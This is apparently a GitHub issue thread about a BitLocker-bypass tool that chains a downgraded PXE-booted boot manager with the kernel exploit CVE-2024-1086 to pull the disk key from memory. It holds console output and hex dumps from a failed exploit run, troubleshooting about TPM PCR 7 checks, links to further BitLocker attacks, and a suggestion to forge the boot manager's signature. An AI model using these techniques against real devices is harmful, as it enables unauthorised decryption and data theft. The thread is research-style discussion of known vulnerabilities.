andigandhi
Successfully obtained the relevant memory but did not get vmk
[+] Info: Exploiting CVE-2024-1086 and obtaining VMK...
[*] creating user namespace (CLONE_NEWUSER)...
[*] creating network namespace (CLONE_NEWNET)...
[*] setting up UID namespace...
[*] configuring localhost in namespace...
[*] setting up nftables...
[+] running normal privesc
[*] waiting for the calm before the storm...
[*] sending double free buffer packet...
[*] spraying 16000 pte's...
[*] checking 16000 sprayed pte's for overlap...
[+] confirmed double alloc PMD/PTE
[+] found possible VMK base: 0x804033e640 -> 000000000033e640
2D 46 56 45 2D 46 53 2D 78 00 02 00 04 00 04 00 | -FVE-FS-x.......
00 1E 05 8B 6A 00 00 00 00 00 00 00 10 00 00 00 | ....j...........
00 00 40 09 00 00 00 00 00 00 40 49 00 00 00 00 | ..@.......@I....
00 00 70 C9 00 00 00 00 00 00 41 09 00 00 00 00 | ..p.......A.....
3A 07 00 00 01 00 00 00 30 00 00 00 3A 07 00 00 | :.......0...:...
70 F9 EC 9E E6 1B 05 45 B9 12 FF 0B E9 0B 2B 4F | p......E......+O
60 00 00 00 04 80 00 00 78 14 FC D4 8B BC DA 01 | `.......x.......
42 00 07 00 02 00 01 00 4C 00 41 00 50 00 54 00 | B.......L.A.P.T.
4F 00 50 00 2D 00 4D 00 46 00 41 00 34 00 44 00 | O.P.-.M.F.A.4.D.
49 00 4C 00 4E 00 20 00 4F 00 53 00 20 00 32 00 | I.L.N. .O.S. .2.
30 00 32 00 34 00 2F 00 36 00 2F 00 31 00 32 00 | 0.2.4./.6./.1.2.
00 00 50 00 03 00 05 00 01 00 30 9B B7 52 EA 21 | ..P.......0..R.!
DB 01 17 00 00 00 A4 D1 45 40 5F 84 88 16 14 25 | ........E@_....%
BA F5 85 52 15 44 4E D8 A5 9D 10 35 C3 E3 9A 0D | ...R.DN....5....
DF DA FE 6B E8 94 7E 07 E6 D4 2E 99 A2 D4 26 F8 | ...k..~.......&.
EE 01 EF 72 F9 82 83 77 91 6A 28 E3 59 1D 93 80 | ...r...w.j(.Y...
[+] VERSION MISMATCH! 262148
[+] found possible VMK base: 0x8040203000 -> 0000000000203000
2D 46 56 45 2D 46 53 2D 00 40 00 00 01 00 00 00 | -FVE-FS-.@......
20 00 00 00 50 01 00 00 00 00 00 00 00 00 00 00 | ...P...........
30 01 00 00 01 00 00 00 30 00 00 00 00 01 00 00 | 0.......0.......
4D 94 0D 1B 28 6E 9F 4A BD 50 F6 44 20 60 FB 02 | M...(n.J.P.D `..
01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
34 00 0A 00 0B 00 01 00 18 00 00 00 18 00 28 80 | 4.............(.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 03 10 00 34 00 0A 00 0B 00 01 00 15 00 00 00 | ....4...........
3A 00 21 C0 70 F9 EC 9E E6 1B 05 45 B9 12 FF 0B | :.!.p......E....
E9 0B 2B 4F 00 00 00 00 00 00 00 00 00 00 00 00 | ..+O............
00 00 00 00 00 00 00 00 34 00 0A 00 0B 00 01 00 | ........4.......
09 00 00 00 3A 00 21 C0 70 F9 EC 9E E6 1B 05 45 | ....:.!.p......E
B9 12 FF 0B E9 0B 2B 4F 00 00 00 00 00 00 00 00 | ......+O........
00 00 00 00 00 00 00 00 00 03 50 00 34 00 0A 00 | ..........P.4...
0B 00 01 00 0B 00 00 00 00 00 21 C0 70 F9 EC 9E | ..........!.p...
[+] VMK-needle not found!
[-] failed to find correct VMK addr: trying to find new base...
[+] found possible VMK base: 0x8040203000 -> 0000000000403000
2D 46 56 45 2D 46 53 2D 00 40 00 00 01 00 00 00 | -FVE-FS-.@......
20 00 00 00 50 01 00 00 00 00 00 00 00 00 00 00 | ...P...........
30 01 00 00 01 00 00 00 30 00 00 00 00 01 00 00 | 0.......0.......
4D 94 0D 1B 28 6E 9F 4A BD 50 F6 44 20 60 FB 02 | M...(n.J.P.D `..
01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
34 00 0A 00 0B 00 01 00 18 00 00 00 18 00 28 80 | 4.............(.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 03 10 00 34 00 0A 00 0B 00 01 00 15 00 00 00 | ....4...........
3A 00 21 C0 70 F9 EC 9E E6 1B 05 45 B9 12 FF 0B | :.!.p......E....
E9 0B 2B 4F 00 00 00 00 00 00 00 00 00 00 00 00 | ..+O............
00 00 00 00 00 00 00 00 34 00 0A 00 0B 00 01 00 | ........4.......
09 00 00 00 3A 00 21 C0 70 F9 EC 9E E6 1B 05 45 | ....:.!.p......E
B9 12 FF 0B E9 0B 2B 4F 00 00 00 00 00 00 00 00 | ......+O........
00 00 00 00 00 00 00 00 00 03 50 00 34 00 0A 00 | ..........P.4...
0B 00 01 00 0B 00 00 00 00 00 21 C0 70 F9 EC 9E | ..........!.p...
[+] VMK-needle not found!
Hard to guess the issue here... Maybe the BitLocker partition was not decrypted by the bootmanager. Can you tell me something about the system configuration? Is this a virtual machine?
Test Environment: This is a laptop device. Device specifications: ASUS ROG Zephyrus G16 GU605M.
From the logs, I can see entries related to FVE-FS, which suggests that BitLocker was involved during the boot phase. Could the VMK be stored in a different memory region?
You can take a look at the project https://github.com/Wack0/bitlocker-attacks?tab=readme-ov-file, where the README.md mentions several relatively new vulnerabilities:
dubious disk: allows arbitrary code execution within the boot environment
CrashXTS: a cryptographic attack that enables precise corruption of the SYSTEM hive, resulting in the hibernation file being written in plain text
break out in hives: leverages the systemdatadevice element to make winload use an attacker-specified SYSTEM hive
break out in hives 2: an alternative method to exploit the systemdatadevice element, potentially in combination with a downgrade attack
From what I’ve seen, these could likely be implemented using your current architecture. I just don’t have enough low-level knowledge to reproduce them myself—but based on the descriptions, they seem pretty promising.
The needle "-FVE-FS-" does not really hint to BitLocker-Decryption being involved, I had a lot of unsuccessful Bitpixie attempts where the output looked similar to the one you provided. The memory scanner scans the whole memory so if the key is not found it can be of two reasons:
- The key was never written to memory as a decryption never took place (Boot-Chain was interrupted due to an invalid signature, TPM was not unsealed,...)
- The key was overwritten by the second stage of the boot process (Linux boot) - this is the unlikely event; it never happened to me Maybe the software TPM of your device has something to do with it... :/
The other exploits from the Wack0 repository would likely fit into a different project as they don't depend on PXE-boot :)
After extensive testing I copied the entire EFI partition from the source system to the PXE server. With that unaltered EFI set-up, Windows starts from PXE and BitLocker unlocks automatically, confirming that the TPM will release the VMK when the measured Secure Boot chain matches what it expects.
The problem appears only after I swap bootmgfw.efi for an older, vulnerable build: on the very next reboot BitLocker drops into recovery. The recovery screen reports that decryption failed because “the Secure Boot policy has unexpectedly changed.”
I have now confirmed that the trigger is a change in PCR 7. In other words, the downgraded bootmgr produces a different Secure Boot measurement, so PCR 7 no longer matches the value that was sealed into the TPM key. When the mismatch is detected, the TPM withholds the VMK and BitLocker asks for the recovery key.
Yoyocraft did you try with an other different vulnerable bootmgw.efi ? maybe it works. Or maybe we could change the ''signature'' of the vulnerable bootmgw.efi to match the original bootmgw.efi in order to let the TPM release the VMK key.
As for me, when i replace with the original bootmgfw.efi in the pxe-server it displays bitlocker screen but when i click escape it reboot into uefi, meaning it has failed to boot into bitlocker recovery? whereas when i use downgraded bootmgfw.efi it displays bitlocker screen and when i click escape it loads the os linux alpine.
Does that means the VMK key is released only when booting into bitlocker recovery ? so that what we should do is boot into pxe, into downgraded bootmgfw.efi bitlocker screen then into bitlocker recovery (new step) then click escape and boot into linux os ? maybe
I ran a test using the current system’s bootmgfw.efi over our PXE server. The system booted normally without showing a BitLocker recovery screen.
However, when I swapped in a vulnerable version of bootmgfw.efi—changing nothing else—and booted through the same PXE server, the machine blue-screened and immediately asked for the BitLocker recovery key instead of loading Windows.
From this behavior I conclude that simply replacing bootmgfw.efi isn’t enough. Even if the TPM accepts the new file’s signature, it still refuses to release the decryption keys until it verifies that the keys actually belong to that specific bootmgfw.efi. Otherwise the different outcomes would make no sense.
In other words, PCR 7 attestation is still in place and cannot be bypassed by merely swapping the boot manager.
